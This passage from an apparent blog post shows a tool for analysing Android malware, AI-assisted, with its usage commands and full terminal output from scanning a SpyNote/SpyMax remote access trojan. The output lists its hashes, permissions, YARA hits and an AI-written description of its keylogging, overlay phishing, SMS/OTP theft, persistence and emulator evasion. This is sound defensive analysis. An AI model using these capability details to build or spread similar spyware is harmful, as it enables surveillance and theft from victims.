available)<br>./analyzer.py analyze suspicious.apk -p google<br># Fully offline - no API key needed<br>./analyzer.py analyze suspicious.apk -p ollama<br># Override model for any provider<br>./analyzer.py analyze suspicious.apk -p claude --model claude-sonnet-4-6</pre><p><strong>Provider defaults:</strong></p><ul><li>Claude → claude-opus-4-6</li><li>OpenAI → gpt-4o</li><li>Google → gemini-2.0-flash</li><li>Ollama → qwen3:8b (or best available local model)</li></ul><h3>Analyzing a Single APK</h3><pre>./analyzer.py analyze malware.apk</pre><p>That’s it. The tool runs four phases and prints results to the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_gu6yDsutmzsOZiz93K-nQ.png"></figure><pre><br>11:19:13 (base) andrey@andrey-lab android_malware_analysis ±|main ✗|→ python analyzer.py analyze /home/andrey/git_project/android_malware_analysis/samples/spynote.apk<br><br>  █████╗ ██████╗ ██╗  ██╗     █████╗ ███╗   ██╗ █████╗ ██╗  ██╗   ██╗███████╗██╗███████╗<br>  ██╔══██╗██╔══██╗██║ ██╔╝    ██╔══██╗████╗  ██║██╔══██╗██║  ╚██╗ ██╔╝██╔════╝██║██╔════╝<br>  ███████║██████╔╝█████╔╝     ███████║██╔██╗ ██║███████║██║   ╚████╔╝ ███████╗██║███████╗<br>  ██╔══██║██╔═══╝ ██╔═██╗     ██╔══██║██║╚██╗██║██╔══██║██║    ╚██╔╝  ╚════██║██║╚════██║<br>  ██║  ██║██║     ██║  ██╗    ██║  ██║██║ ╚████║██║  ██║███████╗██║   ███████║██║███████║<br>  ╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝    ╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚══════╝╚═╝   ╚══════╝╚═╝╚══════╝<br>               Android APK Analysis Tool  |  AI-Powered  |  v2.0<br><br>─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────<br><br>Phase 1: Static Analysis<br>╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── File Information ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│                                                                                                                                                                                                                                                                                                                           │<br>│    File                   /home/andrey/git_project/android_malware_analysis/samples/spynote.apk                                                                                                                                                                                                                           │<br>│    Size                   3868.3 KB (3,961,188 bytes)                                                                                                                                                                                                                                                                     │<br>│    MD5                    b2c5e29222f57cf91d30d37b8ec54cc3                                                                                                                                                                                                                                                                │<br>│    SHA256                 7129d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07                                                                                                                                                                                                                                │<br>│    Package                elimination.kitchen.secured                                                                                                                                                                                                                                                                     │<br>│    App Name               GoosApp                                                                                                                                                                                                                                                                                         │<br>│    Version                19.81.41.19 (19814119)                                                                                                                                                                                                                                                                          │<br>│    SDK                    min=21 target=29                                                                                                                                                                                                                                                                                │<br>│                                                                                                                                                                                                                                                                                                                           │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br><br>Phase 2: Threat Indicator Scoring<br>╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Threat Assessment ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│                                                                                                                                                                                                                                                                                                                           │<br>│   Risk Level: 💀 CRITICAL  (85/100)                                                                                                                                                                                                                                                                                       │<br>│                                                                                                                                                                                                                                                                                                                           │<br>│   [██████████████████████████████████░░░░░░]                                                                                                                                                                                                                                                                              │<br>│                                                                                                                                                                                                                                                                                                                           │<br>│   Permissions:  100/100                                                                                                                                                                                                                                                                                                   │<br>│   Behavior:     100/100                                                                                                                                                                                                                                                                                                   │<br>│   Network:       35/100                                                                                                                                                                                                                                                                                                   │<br>│   Obfuscation:    0/100                                                                                                                                                                                                                                                                                                   │<br>│                                                                                                                                                                                                                                                                                                                           │<br>│   Suspected:  Spyware/Stalkerware                                                                                                                                                                                                                                                                                         │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br>                                                Threat Indicators                                                <br>╭────────────┬──────────────────┬────────────────────────────────────┬──────────────────────────────────────────╮<br>│ Severity   │ Category         │ Indicator                          │ Evidence                                 │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ CRITICAL   │ API Behavior     │ Suspicious API: Device Admin       │ Landroid/app/admin/DeviceAdminReceiver;… │<br>│            │                  │                                    │ (i                                       │<br>│            │                  │                                    │ Landroid/app/admin/DeviceAdminReceiver;… │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ CRITICAL   │ Permissions      │ Dangerous Permission Combo:        │ android.permission.RECORD_AUDIO          │<br>│            │                  │ Spyware/Stalkerware                │ android.permission.ACCESS_FINE_LOCATION  │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ Permissions      │ Dangerous Permission: READ_SMS     │ android.permission.READ_SMS              │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ Permissions      │ Dangerous Permission: SEND_SMS     │ android.permission.SEND_SMS              │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ Permissions      │ Dangerous Permission:              │ android.permission.READ_CALL_LOG         │<br>│            │                  │ READ_CALL_LOG                      │                                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ Permissions      │ Dangerous Permission: RECORD_AUDIO │ android.permission.RECORD_AUDIO          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ Permissions      │ Dangerous Permission:              │ android.permission.ACCESS_FINE_LOCATION  │<br>│            │                  │ ACCESS_FINE_LOCATION               │                                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ Permissions      │ Dangerous Permission:              │ android.permission.SYSTEM_ALERT_WINDOW   │<br>│            │                  │ SYSTEM_ALERT_WINDOW                │                                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ Permissions      │ Dangerous Permission: GET_ACCOUNTS │ android.permission.GET_ACCOUNTS          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ Permissions      │ Dangerous Permission:              │ android.permission.DISABLE_KEYGUARD      │<br>│            │                  │ DISABLE_KEYGUARD                   │                                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ Permissions      │ Dangerous Permission:              │ android.permission.REQUEST_INSTALL_PACK… │<br>│            │                  │ REQUEST_INSTALL_PACKAGES           │                                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ API Behavior     │ Suspicious API: Window Overlay     │ Landroid/view/WindowManager;-&gt;addView    │<br>│            │                  │                                    │ (in Landroid                             │<br>│            │                  │                                    │ Landroid/view/WindowManager;-&gt;addView    │<br>│            │                  │                                    │ (in Landroid                             │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ API Behavior     │ Suspicious API: Dynamic Code       │ Ljava/lang/ClassLoader;-&gt;loadClass (in   │<br>│            │                  │ Loading                            │ Landroidx/f                              │<br>│            │                  │                                    │ Ljava/lang/ClassLoader;-&gt;loadClass (in   │<br>│            │                  │                                    │ Landroidx/f                              │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ API Behavior     │ Suspicious API: Accessibility      │ Landroid/view/accessibility/Accessibili… │<br>│            │                  │ Service                            │ Landroid/view/accessibility/Accessibili… │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ API Behavior     │ Suspicious API: Native Execution   │ Ljava/lang/Runtime;-&gt;exec (in            │<br>│            │                  │                                    │ Lelimination/kitchen                     │<br>│            │                  │                                    │ Ljava/lang/Runtime;-&gt;exec (in            │<br>│            │                  │                                    │ Lelimination/kitchen                     │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ API Behavior     │ Suspicious API: Audio Recording    │ Landroid/media/MediaRecorder;-&gt;&lt;init&gt;    │<br>│            │                  │                                    │ (in Lelimina                             │<br>│            │                  │                                    │ Landroid/media/MediaRecorder;-&gt;setOutpu… │<br>│            │                  │                                    │ (in L                                    │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ API Behavior     │ Suspicious API: SMS Operations     │ Landroid/telephony/SmsManager;-&gt;sendTex… │<br>│            │                  │                                    │ (i                                       │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ Network          │ Hardcoded IP Addresses             │ 1.0.0.1                                  │<br>│            │                  │                                    │ 1.1.1.1                                  │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ HIGH       │ Overlay/Keylog   │ Overlay/Keylogger Strings          │ overlay                                  │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ MEDIUM     │ Permissions      │ Dangerous Permission: CAMERA       │ android.permission.CAMERA                │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ MEDIUM     │ Permissions      │ Dangerous Permission:              │ android.permission.READ_CONTACTS         │<br>│            │                  │ READ_CONTACTS                      │                                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ MEDIUM     │ Permissions      │ Dangerous Permission:              │ android.permission.READ_EXTERNAL_STORAGE │<br>│            │                  │ READ_EXTERNAL_STORAGE              │                                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ MEDIUM     │ Permissions      │ Dangerous Permission:              │ android.permission.WRITE_EXTERNAL_STORA… │<br>│            │                  │ WRITE_EXTERNAL_STORAGE             │                                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ MEDIUM     │ Permissions      │ Dangerous Permission: WAKE_LOCK    │ android.permission.WAKE_LOCK             │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ MEDIUM     │ Permissions      │ Dangerous Permission:              │ android.permission.RECEIVE_BOOT_COMPLET… │<br>│            │                  │ RECEIVE_BOOT_COMPLETED             │                                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ MEDIUM     │ Permissions      │ Dangerous Permission:              │ android.permission.FOREGROUND_SERVICE    │<br>│            │                  │ FOREGROUND_SERVICE                 │                                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ MEDIUM     │ Permissions      │ Dangerous Permission:              │ android.permission.READ_PHONE_STATE      │<br>│            │                  │ READ_PHONE_STATE                   │                                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ MEDIUM     │ Permissions      │ Dangerous Permission:              │ android.permission.CHANGE_WIFI_STATE     │<br>│            │                  │ CHANGE_WIFI_STATE                  │                                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ MEDIUM     │ API Behavior     │ Suspicious API: Reflection         │ Ljava/lang/reflect/Method;-&gt;invoke (in   │<br>│            │                  │                                    │ Landroidx/a                              │<br>│            │                  │                                    │ Ljava/lang/reflect/Method;-&gt;invoke (in   │<br>│            │                  │                                    │ Landroidx/a                              │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ MEDIUM     │ API Behavior     │ Suspicious API: Location Tracking  │ Landroid/location/LocationManager;-&gt;get… │<br>│            │                  │                                    │ Landroid/location/LocationManager;-&gt;req… │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ MEDIUM     │ API Behavior     │ Suspicious API: Camera Access      │ Landroid/hardware/Camera;-&gt;getParameters │<br>│            │                  │                                    │ (in Lelim                                │<br>│            │                  │                                    │ Landroid/hardware/Camera;-&gt;open (in      │<br>│            │                  │                                    │ Lelimination/k                           │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ LOW        │ API Behavior     │ Suspicious API: Cryptography       │ Ljavax/crypto/spec/SecretKeySpec;-&gt;&lt;ini… │<br>│            │                  │                                    │ (in Leli                                 │<br>│            │                  │                                    │ Ljavax/crypto/Cipher;-&gt;doFinal (in       │<br>│            │                  │                                    │ Lelimination/ki                          │<br>├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤<br>│ INFO       │ API Behavior     │ Suspicious API: Network            │ Ljava/net/SocketImpl;-&gt;&lt;init&gt; (in        │<br>│            │                  │ Communication                      │ Landroidx/core/n                         │<br>│            │                  │                                    │ Ljava/net/Socket;-&gt;&lt;init&gt; (in            │<br>│            │                  │                                    │ Landroidx/core/net/D                     │<br>╰────────────┴──────────────────┴────────────────────────────────────┴──────────────────────────────────────────╯<br>                          Permissions (31 total)                          <br>                                                                          <br>  Permission                                                  Risk        <br> ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ <br>  android.permission.ACCESS_COARSE_LOCATION                   MEDIUM      <br>  android.permission.ACCESS_FINE_LOCATION                     CRITICAL    <br>  android.permission.CALL_PHONE                               MEDIUM      <br>  android.permission.CAMERA                                   MEDIUM      <br>  android.permission.CHANGE_WIFI_STATE                        MEDIUM      <br>  android.permission.DISABLE_KEYGUARD                         HIGH        <br>  android.permission.FOREGROUND_SERVICE                       MEDIUM      <br>  android.permission.GET_ACCOUNTS                             HIGH        <br>  android.permission.READ_CALL_LOG                            HIGH        <br>  android.permission.READ_CONTACTS                            CRITICAL    <br>  android.permission.READ_EXTERNAL_STORAGE                    MEDIUM      <br>  android.permission.READ_PHONE_STATE                         MEDIUM      <br>  android.permission.READ_SMS                                 HIGH        <br>  android.permission.RECEIVE_BOOT_COMPLETED                   MEDIUM      <br>  android.permission.RECORD_AUDIO                             CRITICAL    <br>  android.permission.REQUEST_INSTALL_PACKAGES                 HIGH        <br>  android.permission.SEND_SMS                                 HIGH        <br>  android.permission.SYSTEM_ALERT_WINDOW                      HIGH        <br>  android.permission.WAKE_LOCK                                MEDIUM      <br>  android.permission.WRITE_EXTERNAL_STORAGE                   MEDIUM      <br>  android.permission.ACCESS_NETWORK_STATE                     INFO        <br>  android.permission.ACCESS_WIFI_STATE                        INFO        <br>  android.permission.INTERNET                                 INFO        <br>  android.permission.REQUEST_DELETE_PACKAGES                  INFO        <br>  android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS     INFO        <br>  android.permission.SET_WALLPAPER                            INFO        <br>  android.permission.USE_FULL_SCREEN_INTENT                   INFO        <br>  com.android.alarm.permission.SET_ALARM                      INFO        <br>  com.huawei.permission.external_app_settings.USE_COMPONENT   INFO        <br>  oplus.permission.OPLUS_COMPONENT_SAFE                       INFO        <br>  ... and 1 more normal permissions                           INFO        <br>                                                                          <br>                       Network IOCs                        <br>                                                           <br>  Type         Value                                       <br> ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ <br>  IP           1.0.0.1                                     <br>  IP           1.1.1.1                                     <br>  IP           8.8.4.4                                     <br>  IP           8.8.8.8                                     <br>  IP           362.0.0.27                                  <br>  Domain       schemas.android.com                         <br>  URL          http://schemas.android.com/apk/res/android  <br>                                                           <br>                           Semantic Component Analysis (3 findings)                            <br>                                                                                               <br>  Severity     Component        Capability                           MITRE      Name           <br> ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ <br>  CRITICAL     receiver         Device Administrator Abuse           T1629      AdminReceiver  <br>  HIGH         string           Webinject/Overlay Terms              T1417      Overlay        <br>  HIGH         string           Root/Superuser Access                T1626      Root           <br>                                                                                               <br>  Rule-based family inference: Banking Trojan / RAT  (confidence: 60%)<br><br>Phase 2c: VirusTotal Lookup<br>╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── VirusTotal Report ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│                                                                                                                                                                                                                                                                                                                           │<br>│    Detection              29/76  (29 malicious, 0 suspicious, 37 clean)                                                                                                                                                                                                                                                   │<br>│    Threat Label           trojan.spymax/spynote                                                                                                                                                                                                                                                                           │<br>│    Families               spymax, spynote, andr                                                                                                                                                                                                                                                                           │<br>│    File Type              Android                                                                                                                                                                                                                                                                                         │<br>│    Common Name            7129d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07.apk                                                                                                                                                                                                                            │<br>│    First Seen             2024-03-10                                                                                                                                                                                                                                                                                      │<br>│    Last Analyzed          2025-11-18                                                                                                                                                                                                                                                                                      │<br>│    Submissions            19 submissions  /  7 unique sources                                                                                                                                                                                                                                                             │<br>│    Tags                   [apk]  [telephony]  [android]  [sends-sms]  [reflection]  [detect-debug-environment]  [checks-gps]                                                                                                                                                                                              │<br>│    VT Link                https://www.virustotal.com/gui/file/7129d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07                                                                                                                                                                                            │<br>│                                                                                                                                                                                                                                                                                                                           │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br>╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Submitted As ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│   7129d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07.apk  |  1.apk  |  ta0w2mi9g.exe  |  sample_01.apk  |  GoosApp_base.apk                                                                                                                                                                                 │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br>      AV Engine Detections  —  29 malicious  /  0 suspicious  /  76 total      <br>╭──────────────────────┬───────────────────────────────────────┬──────────────╮<br>│ Engine               │ Detection Name                        │ Verdict      │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ DrWeb                │ Android.SpyMax.291                    │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ ESET-NOD32           │ Android/Spy.SpyMax.T trojan           │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ F-Secure             │ Malware.ANDROID/SpyMax.FHPV.Gen       │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ Fortinet             │ Android/SpyMax.EV!tr                  │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ Kaspersky            │ HEUR:Trojan-Banker.AndroidOS.Agent.ws │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ Sophos               │ Andr/Xgen2-AOO                        │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ Symantec             │ Trojan.Gen.MBT                        │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ AhnLab-V3            │ Trojan/Android.SpyNM.1254825          │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ Alibaba              │ TrojanSpy:Android/Spynote.374f212d    │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ Avast-Mobile         │ Android:Evo-gen [Trj]                 │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ Avira                │ ANDROID/SpyMax.FHPV.Gen               │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ BitDefenderFalx      │ Android.Trojan.SpyAgent.LZ            │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ CTX                  │ apk.trojan.spymax                     │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ Cynet                │ Malicious (score: 99)                 │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ Google               │ Detected                              │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ Ikarus               │ Trojan-Spy.AndroidOS.Spymax           │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ K7GW                 │ Trojan ( 005a5d9c1 )                  │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ Kingsoft             │ Android.Troj.SpyMax.e                 │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ Lionic               │ Trojan.AndroidOS.SpyMax.C!c           │ MALICIOUS    │<br>├──────────────────────┼───────────────────────────────────────┼──────────────┤<br>│ NANO-Antivirus       │ Trojan.Android.SpyMax.kklyjl          │ MALICIOUS    │<br>╰──────────────────────┴───────────────────────────────────────┴──────────────╯<br>                       Sandbox Verdicts                        <br>                                                               <br>  Sandbox                        Verdict        Malware Names  <br> ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ <br>  Zenbox android                 MALICIOUS      SpyNote<br><br>Phase 3: YARA Scanning<br>  YARA: 3 rule(s) matched<br>╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│   Rule: Dropper_DexClassLoader                                                                                                                                                                                                                                                                                            │<br>│   Desc: Dynamic DEX loading - dropper/loader behavior                                                                                                                                                                                                                                                                     │<br>│   Category: Dropper                                                                                                                                                                                                                                                                                                       │<br>│   MITRE: T1544                                                                                                                                                                                                                                                                                                            │<br>│   Matched: DexClassLoader, http, https                                                                                                                                                                                                                                                                                    │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br>╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│   Rule: SMSFraud_PremiumRate                                                                                                                                                                                                                                                                                              │<br>│   Desc: SMS fraud sending to premium rate numbers                                                                                                                                                                                                                                                                         │<br>│   Category: Financial Fraud                                                                                                                                                                                                                                                                                               │<br>│   MITRE: T1582                                                                                                                                                                                                                                                                                                            │<br>│   Matched: sendTextMessage, SmsManager                                                                                                                                                                                                                                                                                    │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br>╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│   Rule: AntiAnalysis_EmulatorCheck                                                                                                                                                                                                                                                                                        │<br>│   Desc: Anti-analysis emulator detection                                                                                                                                                                                                                                                                                  │<br>│   Category: Evasion                                                                                                                                                                                                                                                                                                       │<br>│   MITRE: T1633                                                                                                                                                                                                                                                                                                            │<br>│   Matched: goldfish, Genymotion, Android SDK                                                                                                                                                                                                                                                                              │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br><br>Phase 4: AI Analysis (Claude/claude-opus-4-6)<br>──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── AI Analysis Results ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────<br>╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│   Classification: RAT  |  Family: SpyNote/SpyMax  |  Confidence: High                                                                                                                                                                                                                                                     │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br>╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Executive Summary ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│ This is a SpyNote/SpyMax Remote Access Trojan (RAT) disguised as 'GoosApp'. It provides an attacker with complete remote control over an infected Android device including real-time audio surveillance, SMS interception (including banking OTPs), camera access, GPS tracking, keystroke logging via accessibility      │<br>│ services, and overlay-based credential phishing. The multi-language social engineering strings (Arabic, Russian, Chinese, Burmese, Turkish) indicate a globally distributed campaign targeting victims across multiple regions.                                                                                           │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br>╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Technical Analysis ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│ The APK package name 'elimination.kitchen.secured' follows the randomized three-word pattern commonly generated by SpyNote builder tools. All component names under the subpackage 'pceudkwhpxxxosuyjcduknhpxugjttkfgpvmujxufydwbdhwri2.gdflvwzqcjwsyigjsmgjolyskkyyhnfrhdsyyrxpmdzmoavvhj6' exhibit extreme obfuscation  │<br>│ with long random consonant strings appended with short alphanumeric suffixes — this is the signature naming convention of the SpyNote v6+ builder. Despite the obfuscation score reading 0 (likely a tool limitation), the component naming itself constitutes heavy obfuscation.                                         │<br>│                                                                                                                                                                                                                                                                                                                           │<br>│ The accessibility service component (service 'nSsAP24') implements onAccessibilityEvent() and contains references to button clicking ('android:id/button1'), deletion commands ('silmek' — Turkish for 'delete'), action dispatching ('[action]'), and home accessibility updates ('updateHomeAccessibility'). This       │<br>│ service is the core of SpyNote's keylogging and UI automation capability — it monitors all foreground accessibility events, captures text input, and can programmatically click UI elements to auto-grant permissions, disable Play Protect, and interact with banking applications.                                      │<br>│                                                                                                                                                                                                                                                                                                                           │<br>│ The AdminReceiver component enables Device Administrator privileges, providing wipe-protection and making the malware extremely difficult to uninstall without factory reset. Combined with SYSTEM_ALERT_WINDOW for overlay attacks, READ_SMS/SEND_SMS for OTP interception and SMS fraud, RECORD_AUDIO for live          │<br>│ microphone surveillance, CAMERA for covert photo/video capture, and ACCESS_FINE_LOCATION for GPS tracking, this sample implements the full SpyNote capability set.                                                                                                                                                        │<br>│                                                                                                                                                                                                                                                                                                                           │<br>│ The YARA match for DexClassLoader-based dynamic loading combined with ClassLoader.loadClass() API calls indicates the sample may fetch and load additional DEX payloads at runtime — a common SpyNote technique for modular capability deployment. The emulator detection YARA match confirms anti-analysis measures. The │<br>│ certificate uses the default Android debug signing identity (android@android.com), which is characteristic of SpyNote builder output where operators do not bother with custom certificates.                                                                                                                              │<br>│                                                                                                                                                                                                                                                                                                                           │<br>│ The high-entropy strings in Arabic ('فتح نوافذ جديدة أثناء التشغيل في الخلفية' = 'Open new windows while running in background', 'تمكين الإظهار فوق التطبيقات' = 'Enable display over apps'), Russian ('Не оптимизировать' = 'Do not optimize', 'Настройки системы' = 'System settings'), Chinese ('启用 Simple keyboard  │<br>│ 以获得更好的性能' = 'Enable Simple keyboard for better performance'), and Burmese characters reveal the accessibility service's social engineering — it guides victims in multiple languages to grant overlay permissions, disable battery optimization, and enable the malicious accessibility service.                  │<br>╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯<br>╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Primary Capabilities ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮<br>│                                                                                                                                                                                                                                                                                                                           │<br>│   ►     Full remote device control (RAT)                                                                                                                                                                                                                                                                                  │<br>│   ►     Accessibility-based keylogging and UI automation                                                                                                                                                                                                                                                                  │<br>│   ►     SMS interception and OTP theft                                                                                                                                                                                                                                                                                    │<br>│   ►     Premium-rate SMS fraud                                                                                                                                                                                                                                                                                            │<br>│   ►     Real-time audio surveillance (microphone recording)                                                                                                                                                                                                                                                               │<br>│   ►     Camera capture (photo/video)                                                                                                                                                                                                                                                                                      │<br>│   ►     GPS location tracking                                                                                                                                                                                                                                                                                             │<br>│   ►     Overlay/webinject credential phishing                                                                                                                                                                                                                                                                             │<br>│   ►     Device Administrator abuse for persistence                                                                                                                                                                                                                                                                        │<br>│   ►     Call log and contact harvesting                                                                                                                                                                                                                                                                                   │<br>│   ►     Dynamic DEX loading for modular payload deployment                                                                                                                                                                                                                                                                │<br>│   ►     Emulator/sandbox detection                                                                                                                                                                                                                                                                                        │<br>│   ►     File system access (read/write external storage)                                                                                                                                                                                                                                                                  │<br>│                                                                                                                                                                                                                                                                                                                           